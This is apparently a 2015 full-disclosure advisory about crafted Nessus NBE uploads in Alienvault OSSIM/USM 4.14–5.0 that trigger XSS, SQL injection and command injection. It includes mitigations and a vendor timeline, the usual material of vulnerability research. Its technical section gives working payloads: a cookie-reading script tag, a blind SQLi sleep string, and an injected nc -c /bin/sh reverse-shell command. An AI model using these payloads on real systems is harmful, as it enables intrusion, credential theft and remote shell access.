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Alienvault OSSIM/USM 4.x / 5.0 XSS / SQL Injection / Command Execution

Alienvault OSSIM/USM 4.x / 5.0 XSS / SQL Injection / Command Execution
Posted May 6, 2015
Authored by Peter Lapp

Alienvault OSSIM/USM versions 4.14, 4.15, and 5.0 suffer from cross site scripting, remote command execution, and remote SQL injection vulnerabilities.

tags | exploit, remote, vulnerability, xss, sql injection
SHA-256 | 05fedd0172a711f1b3ebccf206431da754dbc59c1c66baabdd88b6a813ba1830

Alienvault OSSIM/USM 4.x / 5.0 XSS / SQL Injection / Command Execution

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Product: Alienvault OSSIM/USM
Vulnerability: Multiple Vulnerabilities (XSS, SQLi, Command Execution)
Author: Peter Lapp, lappsec@gmail.com
CVE: None assigned
Vulnerable Versions: Tested on 4.14, 4.15, and 5.0. It likely affects
all previous versions as well.
Fixed Version: No fix has been released.


Alienvault OSSIM is an open source SIEM solution designed to collect
and correlate log data. The vulnerability management section of the UI
allows a user to upload a Nessus scan in NBE format. Using a specially
crafted NBE file, a user can exploit multiple vulnerabilities such as
XSS, SQLi, and Command Execution. Authentication is required to
exploit this vulnerability, but admin privileges are not required. Any
user with access to the Vulnerabilities page can perform these

The vendor was notified almost 5 months ago about this vulnerability.
Given that they have not responded to my recent requests for updates
and just released a major version that did not patch these issues, I
have decided to release the details.

Technical Details

Various fields within the NBE file can be manipulated to exploit
certain vulnerabilities. A pretty bare template that I used to test
these issues looked something like this:

timestamps|||scan_start|Thu Dec 11 17:00:51 2014|
timestamps|||host_start|Thu Dec 11 17:00:52 2014|
results|||cifs (445/tcp)|1234|Security Hole|Synopsis
:\n\nThe remote host contains a web browser that is affected by
multiple vulnerabilities.\nOther references :
timestamps|||host_end|Thu Dec 11 17:11:58 2014|
timestamps|||scan_end|Thu Dec 11 17:16:44 2014|

Reflective XSS
The hostname/IP portion of the NBE import is vulnerable. Putting
<script>alert(0)</script> directly after the hostname/IP in the NBE
will result in the javascript being reflected back when the import

Stored XSS
The plugin ID portion of the NBE is vulnerable.
Adding<script>alert(document.cookie)</script> to the plugin ID in the
NBE will result in the script being executed every time someone views
the HTML report in the OSSIM interface.

Blind SQL Injection
The plugin ID is also vulnerable to blind SQLi. Adding ' UNION SELECT
SLEEP(20) AND '1'='1 to the plugin ID will cause the DB to sleep for
20 seconds.

SQL Injection
The protocol portion of the NBE is vulnerable to SQL injection.
Take this:
cifs (445/tcp)
And turn it to this:

That will result in the hash of the admin password being included in
the report. The extra '(' in '1(' is required for the ending ) in
order to not cause an error in the Perl script that runs the import.

Command Injection
The hostname/IP portion of the NBE is vulnerable. Adding '#&&nc -c
/bin/sh 4444&&' will result in a reverse shell as www-data
The initial # is required to comment out the remainder of a SQL query
that comes before the dig command where this is injected. Without it
the script won't proceed to the required point.


There's no official patch for this yet. It is possible to restrict
access to the Vulnerabilities page via user roles, which should
prevent a user from exploiting this. Also, if you're not using the
import feature, you could rename the Perl script on the file system
that runs the import.

01/12/2015 - Notified the vendor of the vulnerabilities.
01/12/2015 - Vendor confirms the issue and files a defect.
01/28/2015 - Requested an update from the vendor and was told the
issue would be worked on in the future.
04/20/2015 - Requested an update and informed the vendor of my intent
to release the details. No response.
05/05/2015 - Released details to FD.

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